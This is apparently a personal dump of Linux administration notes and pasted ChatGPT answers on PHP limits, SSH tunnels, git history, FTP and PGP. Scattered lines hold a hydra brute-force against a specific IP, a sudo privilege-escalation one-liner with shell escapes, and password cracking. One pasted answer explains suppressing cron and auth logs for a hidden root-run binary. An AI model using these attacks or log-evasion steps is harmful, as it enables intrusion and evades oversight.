bash Copy code sudo nano /etc/php/8.x/fpm/php.ini Update these values:
ini Copy code upload_max_filesize = 10M post_max_size = 10M max_execution_time = 300 Restart PHP and NGINX:
bash Copy code sudo systemctl restart php8.x-fpm sudo systemctl restart nginx Check WordPress Settings:
Go to Settings > Media in the WordPress admin panel. Ensure the upload directory is correctly set. 4. Debug with Logs If it still doesn’t work, check your logs for more details:
NGINX Logs: bash Copy code sudo tail -f /var/log/nginx/error.log PHP-FPM Logs: bash Copy code sudo tail -f /var/log/php8.x-fpm.log Summary If the file is only 3.1MB, the most likely culprits are:
Cloudflare blocking POST requests (resolve via whitelisting or bypassing Cloudflare). NGINX misconfiguration (client_max_body_size). PHP or WordPress limits (upload_max_filesize, etc.). Try the
Steps to Add These Lines in wp-config.php Access Your WordPress Files:
Log into your server using SSH or SFTP. Navigate to your WordPress installation directory, typically located at /var/www/html or /var/www/store (for your subdomain setup). Edit the wp-config.php File:
Open the wp-config.php file in a text editor: bash Copy code sudo nano /var/www/store/wp-config.php Add the Lines:
Place the lines just before the following line at the bottom of the file: php Copy code /* That's all, stop editing! Happy blogging. */ The updated section should look like this: php Copy code @ini_set( 'upload_max_size' , '64M' ); @ini_set( 'post_max_size', '64M' ); @ini_set( 'max_execution_time', '300' );
/* That's all, stop editing! Happy blogging. */ Save and Exit:
Save the file by pressing Ctrl + O (in nano) and then press Enter. Exit the editor with Ctrl + X. What These Settings Do upload_max_size: Specifies the maximum size of files that can be uploaded. post_max_size: Limits the size of all POST data (including file uploads). max_execution_time: Increases the time allowed for a script to execute. Restart Services (Optional) If you're unsure whether these settings are applied, restart your services:
Restart PHP: bash Copy code sudo systemctl restart php8.x-fpm Restart NGINX: bash Copy code sudo systemctl restart nginx Let me know if the issue persists after applying these changes!
Steps to Update Global PHP Settings Locate Your php.ini File:
Find the active php.ini file by running: bash Copy code php --ini Look for a line that says: javascript Copy code Loaded Configuration File: /path/to/php.ini Note the path (e.g., /etc/php/8.x/fpm/php.ini). Edit the php.ini File:
Open the file using a text editor: bash Copy code sudo nano /etc/php/8.x/fpm/php.ini Replace 8.x with your PHP version. Update the Settings:
Search for upload_max_filesize and post_max_size by pressing Ctrl + W in nano and typing the setting name. Update the values as follows: ini Copy code upload_max_filesize = 64M post_max_size = 64M max_execution_time = 300 Save and Exit:
Save the file by pressing Ctrl + O, then Enter. Exit with Ctrl + X. Restart PHP and NGINX:
Restart the PHP service: bash Copy code sudo systemctl restart php8.x-fpm Restart NGINX: bash Copy code sudo systemctl restart nginx Verify the Changes:
Check if the new values are applied: bash Copy code php -i | grep -E "upload_max_filesize|post_max_size" Alternative for Site-Specific Changes If you prefer not to modify the global settings, you can make changes specific to your WordPress site by adding a .user.ini file in your WordPress root directory (/var/www/store). Here's how:
Create the file: bash Copy code sudo nano /var/www/store/.user.ini Add the following: ini Copy code upload_max_filesize = 64M post_max_size = 64M max_execution_time = 300 Save and exit the file, then restart services: bash Copy code sudo systemctl restart php8.x-fpm sudo systemctl restart nginx
simple batch set varname="hello" echo %varname% set /a numvariable=3 echo %numvariable% title @echo off echo %programfiles% echo %computername% echo %random% set /p varname= set /p varname=enter text: set /a caclculator=%num2% + %num3% echo line break title line break echo hello echo. echo world echo hello &echo world append rem comment me ::comment me set myvar=good if %myvar%==good echo true if %myvar%==good (echo true) else (echo false) :blockofcode :flabel echo 123 echo 32432 :slabel echo 233 453 cls if exist "nd.exe" (echo "yes file exists") else (echo "not exist") ::openfile "filename" set name="emilio" if not name=="emilio" (echo not him) for %%y in (1,2,3,4,5)do echo %%y ::range for /l %%varname in (ll,ul,inc)do (echo something) %date% %time% rename folder ren file
reg query keyname
reg query keyname /v Name reg query keyname /v website
Ensuring AllowTcpForwarding and GatewayPorts are enabled on your Raspberry Pi’s SSH server:
bash Copy code sudo nano /etc/ssh/sshd_config Add or verify the following:
plaintext Copy code AllowTcpForwarding yes GatewayPorts yes Restart the SSH server:
bash Copy code sudo systemctl restart sshd
Ensure the Raspberry Pi SSH server is configured to allow public key authentication:
Edit the SSH configuration: bash Copy code sudo nano /etc/ssh/sshd_config Verify the following lines are enabled (uncomment if needed): plaintext Copy code PubkeyAuthentication yes PasswordAuthentication no Restart the SSH service: bash Copy code sudo systemctl restart ssh Look for the GatewayPorts directive and set it to yes: plaintext Copy code GatewayPorts yes
sudo visudo www-data ALL=(ALL) NOPASSWD: /bin/systemctl start ssh cd /var/www/html sudo nano failsafe.php curl "http:///failsafe.php?action=start_ssh" SSH service has been started!
curl -u admin:your_secure_password "http:///failsafe.php?action=start_ssh"
c) Set File Permissions Ensure only the www-data user can access the PHP script:
bash Copy code sudo chown www-data:www-data /var/www/html/failsafe.php sudo chmod 640 /var/www/html/failsafe.php
a) Restrict Access to Specific IPs Restrict access to the PHP endpoint to only your WireGuard network. Add the following to your Nginx configuration file inside the location / {} block:
nginx Copy code allow 10.0.0.0/24; # Replace with your WireGuard subnet deny all;
Stopping ssh (via systemctl): ssh.serviceStopping 'ssh.service', but its triggering units are still active: ssh.socket .
When stopping the SSH service (ssh.service), the ssh.socket unit may remain active. This is because the ssh.socket service is designed to manage incoming SSH connection requests. If you stop the ssh.service, the ssh.socket unit can trigger it again if a connection is attempted.
Here’s how to fully stop the SSH service, including its triggering units:
- Stop ssh.service and ssh.socket Run the following commands in sequence:
bash Copy code sudo systemctl stop ssh.service sudo systemctl stop ssh.socket The first command stops the SSH daemon (sshd). The second command stops the socket listener (ssh.socket), ensuring no new SSH connections can trigger the service. 2. Disable Both Services (Optional) If you want to ensure they do not start again on reboot, disable both:
bash Copy code sudo systemctl disable ssh.service sudo systemctl disable ssh.socket 3. Verify Service Status To confirm that both the service and the socket are stopped:
bash Copy code sudo systemctl status ssh.service sudo systemctl status ssh.socket 4. Re-enable and Restart SSH Later If you need SSH access again in the future, re-enable and start both services:
bash Copy code sudo systemctl enable ssh.service sudo systemctl enable ssh.socket sudo systemctl start ssh.service sudo systemctl start ssh.socket
- Understanding the Role of ssh.socket ssh.socket is part of the systemd socket activation mechanism. It listens for incoming SSH connection requests on port 22. When a connection is detected, it activates ssh.service. If ssh.socket remains active, it will restart the SSH service when a connection attempt is made.
Advanced: Mask the Services If you want to completely block the SSH service and socket from being started by any other process (even manually), you can mask them:
bash Copy code sudo systemctl mask ssh.service sudo systemctl mask ssh.socket To unmask:
bash Copy code sudo systemctl unmask ssh.service sudo systemctl unmask ssh.socket
Step 1: Health Check Script Instead of using an external script, we can embed the health check into a new systemd service.
Health Check Service ini Copy code [Unit] Description=Health Check for SSH Tunnel Service
[Service] Type=simple ExecStart=/bin/bash -c " if ! systemctl is-active --quiet ssh-tunnel.service; then systemctl restart ssh-tunnel.service fi"
Step 2: Timer File The timer will trigger the health check every minute.
ini Copy code [Unit] Description=Timer to check SSH Tunnel health
[Timer] OnUnitActiveSec=1min Unit=ssh-tunnel-health.service
[Install] WantedBy=timers.target Save this as /etc/systemd/system/ssh-tunnel-health.timer.
hydra -l root -P names.txt ssh://197.136.17.130
1.8.9 upto 1.9.5 sudo -u#-1 ls sudo -u#-1 /bin/bash https://gtfobins.github.io/#+sudo sudo time /bin/sh sudo man man !/bin/sh
john lilpw.txt --format=crypt
If you accidentally pushed a private key to a GitHub repository, it's critical to act swiftly to prevent misuse. Here's a step-by-step guide to resolve the issue:
- Remove the Private Key from the Repository Option A: Rewriting Commit History (Preferred for Sensitive Data) Use git filter-repo or git rebase to remove the sensitive data from your Git history entirely.
Using git filter-repo: Install git-filter-repo if not already available:
bash Copy code pip install git-filter-repo Rewrite history to remove the file:
bash Copy code git filter-repo --path path/to/private_key.pem --invert-paths Replace path/to/private_key.pem with the relative path to your private key.
Force push the updated repository:
bash Copy code git push origin --force Option B: Removing Specific Commits (If You Know the Commit) Identify the commit that introduced the private key: bash Copy code git log -- path/to/private_key.pem Remove the commit using an interactive rebase: bash Copy code git rebase -i <commit_before_private_key_push> Mark the commit containing the key as drop. Force push the changes: bash Copy code git push origin --force 2. Revoke and Regenerate the Key Since the private key has been exposed, treat it as compromised. Follow these steps:
Revoke the old key: For SSH keys: Remove the key from any service (e.g., GitHub) where it was registered. Go to GitHub > Settings > SSH and GPG keys, and delete the compromised key. For API keys: Disable or delete the compromised key from the relevant platform. Generate a new key: bash Copy code ssh-keygen -t rsa -b 4096 -C "your_email@example.com" Replace any existing references with the new key. 3. Inform Others (If Public Repository) If this was a public repository:
Rotate any credentials tied to the private key (e.g., if it was used for signing). Inform your team or stakeholders that the key was compromised. 4. Verify and Protect the Repository Ensure the Key is Gone: Check to confirm that the private key is no longer in the repository:
bash Copy code git log -- path/to/private_key.pem If it still appears, the history rewrite did not work.
Prevent Similar Issues in the Future: Add a .gitignore rule to exclude sensitive files like private keys:
plaintext Copy code *.pem *.key Commit the updated .gitignore file:
bash Copy code git add .gitignore git commit -m "Add .gitignore to prevent sensitive files" git push origin You can also use Git hooks to prevent accidental commits of sensitive files:
bash Copy code
if git diff --cached --name-only | grep -qE '.pem|.key'; then echo "Sensitive file detected. Aborting commit." exit 1 fi 5. Audit Logs (Optional but Recommended) If the repository was public for any amount of time, review access logs or consult GitHub's security features (like Dependabot alerts) to monitor for suspicious activity.
By acting quickly, revoking the compromised key, and scrubbing the repository history, you can effectively mitigate the risks.
You said: yoow in github cant i delete a specifi comit ChatGPT said: ChatGPT Yes, you can delete a specific commit in GitHub by removing it from the repository's history, but this requires rewriting the Git history locally and then force-pushing the changes. Here's how to do it step-by-step:
- Identify the Commit to Delete Run the following command in your local repository to find the commit hash:
bash Copy code git log --oneline This will give you a list of commits in a compact format. Locate the commit you want to delete.
For example:
bash Copy code a1b2c3d Fix typo d4e5f6g Add private key (this is the one you want to delete) g7h8i9j Initial commit Here, d4e5f6g is the commit to delete.
- Use an Interactive Rebase to Remove the Commit Start an interactive rebase:
bash Copy code git rebase -i <commit_before_the_one_you_want_to_delete> For the example above, if the commit to delete is d4e5f6g, rebase to the parent commit a1b2c3d:
bash Copy code git rebase -i a1b2c3d^ Mark the commit to delete as drop:
The rebase editor will open, showing something like this: sql Copy code pick d4e5f6g Add private key pick g7h8i9j Initial commit Change pick to drop for the commit you want to delete: sql Copy code drop d4e5f6g Add private key pick g7h8i9j Initial commit Save and close the editor. Git will rewrite the history, removing the commit.
- Force-Push the Changes to GitHub Since you’ve changed the history, you need to force-push the changes to the remote repository:
bash Copy code git push origin --force 4. Verify the Commit is Gone Check your GitHub repository to confirm the commit has been removed:
bash Copy code git log Also, inspect GitHub's commit history on the web interface to ensure the commit is no longer present.
- Additional Tips If the Commit Contained Sensitive Information: Even though the commit is removed from the history, anyone who cloned or forked the repository before the removal may still have access to the commit. In such cases:
Revoke any exposed keys or credentials. Inform collaborators to delete their local copies and re-clone the repository. If You Made an Error During Rebase: You can always abort the rebase and return to the original state:
bash Copy code git rebase --abort Alternative: Use git filter-repo to Remove All Traces If the commit introduced sensitive data and you want to ensure it's completely removed from the repository history, use git filter-repo as described in my earlier response.
By rewriting history carefully and force-pushing the changes, you can effectively delete a specific commit from GitHub.
You said:
this commit is the first one i made and its the one i wanna delete and i have made only 2 commits so i cant select before that on since there is none
ChatGPT said:
ChatGPT
If the commit you want to delete is the first commit in the repository and there are only two commits total, you’ll need to recreate the repository's history without the problematic commit. Here's how to proceed:
Step-by-Step Guide to Deleting the First Commit
- Create a New Branch Without the First Commit You can use the git checkout command with the second commit hash to create a new branch that starts from the second commit.
bash Copy code git checkout --orphan new-branch Here, replace with the hash of the second commit (the one after the first commit).
For example:
bash Copy code git checkout --orphan new-branch d4e5f6g 2. Remove the Old Branch Once the new branch is created, you need to delete the old branch (e.g., main).
Switch to the new branch:
bash Copy code git checkout new-branch Delete the old branch:
bash Copy code git branch -D main Rename the new branch to main (or the default branch name of your repository):
bash Copy code git branch -m main 3. Force-Push the New Branch to GitHub Since you’ve rewritten the history, you’ll need to force-push to overwrite the existing history on GitHub.
bash Copy code git push origin --force Alternative: Reset the Repository If you prefer, you can reset the repository entirely and start fresh:
Remove the Repository History Locally:
bash Copy code rm -rf .git Reinitialize the Repository:
bash Copy code git init Add and Commit Only the Correct Files:
bash Copy code git add . git commit -m "Initial commit" Force-Push to GitHub:
bash Copy code git remote add origin git push --force --set-upstream origin main Important Notes Exposed Sensitive Data: If the first commit exposed sensitive data (like private keys), ensure that you revoke and replace those keys immediately. Repository Impact: Rewriting history will affect collaborators. Inform anyone working on the repository to re-clone it after you force-push the new history. Let me know if you encounter any issues!
You said: ! [rejected] development -> development (non-fast-forward) error: failed to push some refs to 'https://github.com/lilplucky/ModernTunnel' hint: Updates were rejected because the tip of your current branch is behind hint: its remote counterpart. Integrate the remote changes (e.g. hint: 'git pull ...') before pushing again. hint: See the 'Note about fast-forwards' in 'git push --help' for details. ChatGPT said: ChatGPT The error occurs because the branch you're trying to push (development) is behind the remote branch, and you're not forcing the push, which is required after rewriting history. To fix this:
Steps to Resolve the Issue
- Force Push Your Changes If you're sure you want to overwrite the remote branch (and rewrite history), you need to force push:
bash Copy code git push origin development --force This will overwrite the remote branch with your local branch, including the rewritten commit history.
- If You Need to First Pull Remote Changes If you think the remote branch has additional changes you want to incorporate before rewriting, do this:
Pull the changes while rebasing to avoid creating a merge commit:
bash Copy code git pull origin development --rebase Resolve any conflicts, if present, and proceed.
Force push the rewritten branch:
bash Copy code git push origin development --force 3. Double-Check Before Force Pushing If this branch is being worked on by others, inform them before force-pushing. They will need to re-clone or reset their local branches to align with the rewritten history.
Key Notes Use --force-with-lease instead of --force if you're worried about overwriting changes made by others on the remote branch: bash Copy code git push origin development --force-with-lease This option ensures you only force push if the remote branch hasn’t changed since you last fetched.
https://archive.org/ nmap -sP localnet www.nessus.org
journalctl -u sname -f
https://www.youtube.com/watch?v=0zUSrtubrOc
xprop | grep WM_CLASS WM_CLASS(STRING) = "terminator", "Terminator" and then point to the window you wonna know about https://gist.github.com/marcel-dempers/5b5f687b66032f1a20c9c249fb3bdae3/revisions got from https://www.youtube.com/watch?v=PzObHq72Vug https://www.binaryhexconverter.com/decimal-to-hex-converter
i never tried this https://dev.to/anubra266/transparent-background-in-vscode-1mdk
can connect remotely to another machine
change /etc/hosts and /etc/hostname edit them to the names you wish
echo "passwordhere" |sudo -S command echo "passwordhere" |su -
ps -t pts/0 PID TTY TIME CMD 12345 pts/0 00:00:00 bash kill -9 12345 w logout
[Desktop Entry] Name=Winbox Comment= Type=Application Terminal=False Exec=wine /home/user/Downloads/winbox.exe Icon=gnome-panel-launcher
reduce loging If rsyslog is not installed and you still want to suppress cron's output and session logs, you can explore alternative methods, such as adjusting the configuration of the cron daemon itself or modifying systemd's logging behavior.
- Adjust Cron's Logging with cron's Own Configuration In some systems, cron may log via the syslog service or by its own configuration. If rsyslog isn't installed, cron's logging behavior may still be handled by systemd logging (via journalctl). However, there's no direct "logging off" option in cron's own configuration, but you can configure it to avoid logging certain actions.
Preventing Cron from Logging via systemd Journal If cron logs are being captured by systemd, they can be controlled through systemd's journaling system.
Limit Cron’s Log Level in systemd Configuration:
You can adjust systemd's logging level or stop logging messages from the cron service.
Open the cron.service unit file: bash Copy code sudo systemctl edit cron.service This will create an override file. In this file, add the following lines: ini Copy code [Service] StandardOutput=null StandardError=null This will silence all output (both standard and error) from cron jobs.
Reload the systemd configuration:
After saving the file, reload the systemd configuration to apply the changes:
bash Copy code sudo systemctl daemon-reload Restart the cron service:
bash Copy code sudo systemctl restart cron Now, cron will not log its output in the systemd journal, and you will not see session start/stop or command execution logs.
Redirecting Cron Job Output to Null (As You Have Done) You’ve already used the >/dev/null 2>&1 redirection in your cron job to suppress its output. Ensure that every cron job you run has this redirection to avoid any visible output in logs.
For example, your cron job entry would look like:
bash Copy code */10 * * * * root cd / && /usr/local/share/.networkx >/dev/null 2>&1 This ensures no output from the command itself, but cron might still log session open/close messages.
- Disable pam_unix Logging for Cron Sessions (Without rsyslog) If you're using pam_unix for session management, you can modify PAM's logging configuration directly. These logs are typically written to /var/log/auth.log (or the system journal if rsyslog is not used). If you don’t want these logs, you can either stop the pam_unix module from logging or redirect its output.
Disable Session Logging in /etc/pam.d/cron Open /etc/pam.d/cron in your editor:
bash Copy code sudo nano /etc/pam.d/cron Look for the lines that configure logging for the pam_unix module, typically session entries. You might see lines like:
bash Copy code session required pam_unix.so Add the no_warn option to prevent logging warnings:
bash Copy code session required pam_unix.so no_warn Save the file and exit.
This configuration reduces or eliminates the logs related to user sessions (like pam_unix(cron:session) logs), but note that this may affect other PAM-based session logging on your system, not just cron.
- Control Log Rotation for Cron Logs (Journal) If the log data you want to suppress is being written to the systemd journal, you can adjust the log retention settings:
Edit the journald configuration file (/etc/systemd/journald.conf):
bash Copy code sudo nano /etc/systemd/journald.conf Modify or add the following parameters to control log retention:
Storage=volatile: This prevents logs from being persisted and ensures they are stored only in memory. MaxRetentionSec: You can set a limit to how long logs are kept. Example configuration to limit log retention:
ini Copy code [Journal] Storage=volatile MaxRetentionSec=1h Save the file and restart systemd-journald:
bash Copy code sudo systemctl restart systemd-journald This will stop persistent logging for cron, but note that journal logs will still be temporarily stored in memory.
- Using logrotate or Cron’s --quiet Option While logrotate typically manages log file rotation, using it to prevent cron from creating persistent logs isn’t an ideal approach unless you're specifically rotating cron logs. Also, cron doesn’t have a built-in --quiet option for silencing session logs.
Conclusion If rsyslog is not installed, the most effective way to silence cron logs would be:
Using systemd to prevent cron from writing to logs (StandardOutput=null and StandardError=null). Disabling PAM-based session logs for cron (no_warn option in /etc/pam.d/cron). These steps should stop unwanted logs from appearing in the system logs or journal while keeping cron jobs quiet. Let me know if you need further clarification!
fetched from https://askubuntu.com/questions/53846/how-to-get-the-md5-hash-of-a-string-directly-in-the-terminal ~$ echo -n Welcome | md5sum 83218ac34c1834c26781fe4bde918ee4 - 85
Very simple, it accepts stdin, so
md5sum <<<"my string" To avoid the trailing newline added by the shell:
printf '%s' "my string" | md5sum
- Check if the Bluetooth service is running Ensure that the Bluetooth service is active. Open a terminal and run the following command to check the status of the Bluetooth service:
bash Copy code sudo systemctl status bluetooth If the Bluetooth service is inactive, start it with:
bash Copy code sudo systemctl start bluetooth To make sure it starts automatically on boot:
bash Copy code sudo systemctl enable bluetooth 2. Install or reinstall Bluetooth-related packages Sometimes the necessary Bluetooth packages might be missing or corrupted. Reinstall them with the following commands:
bash Copy code sudo apt update sudo apt install --reinstall blueman bluez Blueman is the graphical Bluetooth manager. Bluez is the Bluetooth protocol stack. After installing or reinstalling, check if the icon reappears.
- Check for the bluetooth-applet Make sure the Bluetooth applet is running. It might have been disabled, removed, or failed to launch. To manually start it, open a terminal and run:
bash Copy code bluetooth-applet & If it works, you can add it to startup applications so that it runs automatically when you log in. In
how will i tweak linux so that i can select specific audio device for firefox and a diffrent for vlc.vlc to use nobel 2040 and firefox to use my pods as i google something ChatGPT said: ChatGPT
To set up specific audio devices for different applications in Linux, you can use tools like PulseAudio or PipeWire (a more modern alternative). Here's a step-by-step guide on how to achieve your goal of routing Firefox to use your earbuds (e.g., "my pods") and VLC to use your Noble 2040 headphones: Step 1: Ensure PulseAudio or PipeWire Is Installed
Most Linux distributions come with PulseAudio installed by default, but PipeWire is becoming more popular and is the default in some distributions (e.g., Fedora). Make sure you have one of these audio servers installed.
PulseAudio: If you need to install it, use:
sudo apt install pulseaudio pavucontrol
PipeWire: For PipeWire, use:
sudo apt install pipewire pavucontrol
Step 2: Open PulseAudio Volume Control
Use pavucontrol, a graphical tool that lets you manage audio streams. This tool is essential for assigning different audio outputs to individual applications.
Run pavucontrol:
pavucontrol
https://www.geeksforgeeks.org/how-to-install-turtle-in-python-on-linux/
Ensure Your Virtual Environment Has Access to System Packages If you need tkinter to be available in your virtual environment, you can create the virtual environment with access to system packages:
python3 -m venv --system-site-packages myenv
apt install python3-tk
server
iperf -s
or
iperf -s -u
client
iperf -c
or
iperf -c -u
┌─[✗]─[root@ZERXIS]─[~] └──╼ #apt-get install wine32:i386 Reading package lists... Done Building dependency tree... Done Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation:
The following packages have unmet dependencies: libdbus-1-3:i386 : Depends: libsystemd0:i386 libgphoto2-6:i386 : Depends: libcurl4:i386 (>= 7.16.2) but it is not going to be installed libgstreamer1.0-0:i386 : Depends: libdw1:i386 (>= 0.126) but it is not going to be installed libpulse0:i386 : Depends: libsystemd0:i386 libusb-1.0-0:i386 : Depends: libudev1:i386 (>= 183) but it is not going to be installed libwine:i386 : Depends: libudev1:i386 (>= 183) but it is not going to be installed Recommends: libcups2:i386 (>= 1.4.0) but it is not installable Recommends: libgl1:i386 but it is not installable Recommends: libgssapi-krb5-2:i386 (>= 1.6.dfsg.2) but it is not installable Recommends: libkrb5-3:i386 (>= 1.6.dfsg.2) but it is not installable Recommends: libosmesa6:i386 (>= 10.2~) but it is not installable Recommends: libsdl2-2.0-0:i386 (>= 2.0.12) but it is not installable Recommends: libgl1-mesa-dri:i386 but it is not going to be installed Recommends: libasound2-plugins:i386 but it is not installable Recommends: gstreamer1.0-plugins-good:i386 but it is not installable E: Unable to correct problems, you have held broken packages. ┌─[✗]─[root@ZERXIS]─[~] └──╼ #
try apt-get update apt-get install -f dpkg --add-architecture i386 apt-get update 6. Try installing dependencies manually: You can attempt to install the missing dependencies individually:
bash Copy code apt-get install libsystemd0:i386 libcurl4:i386 libdw1:i386 libudev1:i386 7. Check for held packages: The error message also mentions "held broken packages." You can check if any packages are held back by running:
bash Copy code apt-mark showhold If there are any held packages, you can unhold them with:
bash
Copy code
apt-mark unhold <package_name>
sort -n
git push origin --delete branch_name or locally git branch -d branch_name
If your file is already in the .tar format (not compressed), you can directly use the --delete flag to remove the folder or files from the archive.
Steps to Delete a Folder Inside myopt.tar: List the Contents of the Archive (to confirm the path):
bash Copy code tar -tf myopt.tar | grep microsoft Delete the Folder or Specific Files: Use the --delete flag to remove the folder or files:
bash Copy code tar --delete -f myopt.tar opt/microsoft/ Replace opt/microsoft/ with the exact path you want to delete. If you're deleting specific files, provide their full paths. Verify the Deletion: Check the archive contents again to confirm the deletion:
bash Copy code tar -tf myopt.tar | grep microsoft
update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1 update-alternatives --install /usr/bin/python python /usr/bin/python3.8 2 https://linux.how2shout.com/how-to-install-python-2-7-on-ubuntu-20-04-lts-linux/
apt install systemd-timesyncd
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
pip install killproc
fix sudo user no pass prompt upon sudo type lilplucky ALL=(ALL) NOPASSWD: ALL /etc/sudoers.d/*
#ftp server
- Install FTP Server (vsftpd) For Ubuntu/Debian-based Systems: Update the package list:
bash Copy code sudo apt update Install vsftpd (a lightweight and secure FTP server):
bash Copy code sudo apt install vsftpd Start and enable the vsftpd service:
bash Copy code sudo systemctl start vsftpd sudo systemctl enable vsftpd Check the status of the FTP server to ensure it is running:
bash Copy code sudo systemctl status vsftpd #ftp client Install the ftp client package: bash Copy code sudo apt install ftp
#configure ftp user Steps to Create an FTP User for vsftpd:
- Create the FTP User You can create a new user on your system with a specific home directory where the user will have FTP access. We'll call the new user vftp in this example.
Create the user:
bash Copy code sudo useradd -m -d /home/vftp vftp -m: Creates the user's home directory (/home/vftp). -d /home/vftp: Specifies the home directory for the user. vftp: The name of the user. Set a password for the user:
bash Copy code sudo passwd vftp You'll be prompted to enter and confirm a password for the vftp user.
- Configure FTP User Permissions By default, we want this user to have limited access to their own home directory and be unable to access other system files.
Restrict the user to their home directory (Chroot Jail):
Open the vsftpd configuration file to allow users to be restricted to their home directory:
bash Copy code sudo nano /etc/vsftpd.conf Find and modify these settings:
Disable anonymous FTP access (if not already done): bash Copy code anonymous_enable=NO Enable local user login: bash Copy code local_enable=YES Enable write permissions (optional, allows the user to upload files): bash Copy code write_enable=YES Restrict users to their home directories (this is crucial for security): bash Copy code chroot_local_user=YES This will prevent the user from accessing any directories outside their home directory. Optional: Allow only specific users to log in (for extra security):
To allow only the vftp user to use FTP access, you can add the following to the configuration file:
bash Copy code userlist_enable=YES userlist_file=/etc/vsftpd.user_list userlist_deny=NO This tells vsftpd to allow only users listed in /etc/vsftpd.user_list.
Save and close the file (Ctrl+X, then Y to save, and Enter to confirm).
- Create the vsftpd.user_list File (Optional) If you used the userlist_enable configuration option, you'll need to add the vftp user to the vsftpd allowed users list.
Create and edit the user list:
bash Copy code sudo nano /etc/vsftpd.user_list Add the vftp user to the list:
Copy code vftp Save and exit the file (Ctrl+X, then Y, then Enter).
- Set Directory Permissions for FTP User If you want the vftp user to upload and download files, make sure the user has appropriate permissions on their home directory.
Set ownership of the directory:
bash Copy code sudo chown vftp:vftp /home/vftp This gives the user vftp full ownership of their home directory.
Adjust file permissions (if necessary) so the user can write files in their home directory:
bash Copy code sudo chmod 755 /home/vftp This ensures the user can read/write in the directory, but other users can only read.
- Restart the vsftpd Service After making changes to the configuration, restart the vsftpd service to apply them:
bash Copy code sudo systemctl restart vsftpd 6. Test the FTP User Now, you can test the FTP login with the newly created user vftp.
Connect via FTP from a client (either from the server itself or another machine):
bash Copy code ftp <your_server_ip> Log in with the username and password you set for the vftp user:
vbnet Copy code Name (your_server_ip:vftp): vftp Password: You should be able to access only the /home/vftp directory and perform file operations based on the permissions you've set.
Summary of Commands: Create the FTP user:
bash Copy code sudo useradd -m -d /home/vftp vftp sudo passwd vftp Configure vsftpd:
Edit /etc/vsftpd.conf and set: bash Copy code anonymous_enable=NO local_enable=YES write_enable=YES chroot_local_user=YES Optional: Allow only vftp to log in:
Add vftp to /etc/vsftpd.user_list. Set file permissions:
bash Copy code sudo chown vftp:vftp /home/vftp sudo chmod 755 /home/vftp Restart vsftpd:
bash Copy code sudo systemctl restart vsftpd By following these steps, you've created a user vftp for FTP access on the server and restricted their access to just their home directory. #install whatsapp desktop via flatpak flatpak install flathub whatsapp
#create pgp key To create a PGP key on GitHub and share your public key with someone, you'll need to follow a few steps. I'll guide you through the entire process, including generating the PGP key and uploading it to GitHub. This can be useful for signing commits or sharing your public key with others securely.
Step 1: Install GPG (GNU Privacy Guard) If you don’t already have GPG installed on your system, you'll need to install it first.
On Ubuntu/Debian-based systems, you can install GPG with:
bash Copy code sudo apt update sudo apt install gnupg On Fedora/CentOS:
bash Copy code sudo dnf install gnupg2 On macOS, use brew:
bash Copy code brew install gnupg Step 2: Generate a New PGP Key Once GPG is installed, you can generate a new PGP key pair by running:
bash Copy code gpg --full-generate-key Follow the prompts:
Key type: Choose the default option, which is RSA and RSA (option 1). Key size: For stronger security, choose 4096 (4096-bit) over the default 2048-bit. Expiration date: Set an expiration date if you want the key to expire after a certain period (you can leave it empty for no expiration). Name and Email: Provide your name and email address. Make sure the email matches the one you use on GitHub. Passphrase: Choose a secure passphrase to protect your private key. Step 3: List Your Keys and Find Your Key ID Once the key is generated, you can list your keys by running:
bash Copy code gpg --list-secret-keys --keyid-format LONG This will display information about your PGP keys. Look for the sec line and copy the long key ID (the 16-character string after rsa4096/).
For example, the output might look like:
sec 4096R/<KEY_ID> 2019-08-01 [expires: 2020-08-01] uid Your Name youremail@example.com ssb 4096R/<SUBKEY_ID> 2019-08-01 Here, <KEY_ID> is your key ID.
Step 4: Export Your Public Key To share your public key with someone or upload it to GitHub, you need to export it in a format that can be shared easily. Run the following command, replacing <KEY_ID> with your actual key ID from the previous step:
bash Copy code gpg --armor --export <KEY_ID> This will output your public key in ASCII armor format. You can copy this output or save it to a file:
bash Copy code gpg --armor --export <KEY_ID> > my-public-key.asc The file my-public-key.asc will contain your public PGP key, which you can share with anyone you like.
Step 5: Upload Your Public Key to GitHub Go to GitHub and log in to your account. In the top-right corner, click on your profile picture and select Settings. In the left sidebar, click on SSH and GPG keys. Click on the New GPG key button. Paste your public key (either the output from the gpg --armor --export command or the contents of your my-public-key.asc file) into the Key field. Click Add GPG key to save it. GitHub will now associate your public key with your account.
Step 6: Share the Public Key with Someone To share your PGP key with someone:
You can send them the contents of your my-public-key.asc file. You can also send them the key directly by copying the ASCII-armored output of gpg --armor --export <KEY_ID> and pasting it into an email or message. Step 7: Verify Your GPG Key on GitHub After uploading your public key to GitHub, you can verify that it's correctly linked by going to the SSH and GPG keys section in your GitHub account settings. You should see the key listed there with the associated email address.
Step 8: Use Your Key for Signing Commits (Optional) If you'd like to sign commits using your PGP key, follow these steps:
Configure Git to use your PGP key for signing commits. Replace <KEY_ID> with your actual GPG key ID:
bash Copy code git config --global user.signingkey <KEY_ID> Enable commit signing globally:
bash Copy code git config --global commit.gpgSign true Now, when you make commits, Git will sign them using your PGP key, and GitHub will show the verified commit status if you have uploaded your public key.
That’s it! You now have a PGP key for GitHub, and you’ve learned how to share your public key with someone. Let me know if you need any more details!
##openssl build from scratch #Installed dependencies required apt install -y build-essential checkinstall zlib1g-dev #cloned the repo git clone https://github.com/openssl/openssl.git cd openssl/ ls #i didn't set custom installation directories ./config ./config --prefix=/opt/openssl ./config --prefix=/opt/openssl shared #I used the default below ./Configure #Built it make #Installed it make install #check version openssl version #I had used a non-default location I would use this export PATH=/opt/openssl/bin:$PATH #Then I would have reloaded shell config source ~/.bashrc # or ~/.zshrc
To send an encrypted email that only the intended recipient can decrypt using their public key (which you already sent to them), here’s the step-by-step process you need to follow:
-
Ensure You Have the Recipient's Public Key You mentioned you've already sent your public key to someone, but you'll also need their public key to encrypt the message. They should have sent you their public key, or you can retrieve it from a public key server (like Keybase or pgp.mit.edu) if they uploaded it there.
-
Import the Recipient's Public Key (if not already done) If the recipient's public key isn't yet in your keyring, you'll need to import it. Run the following GPG command to import their key:
bash Copy code gpg --import <path_to_their_public_key.asc> If you’re getting it from a keyserver, use:
bash Copy code gpg --recv-keys <key_id> (Where <key_id> is their public key ID.)
-
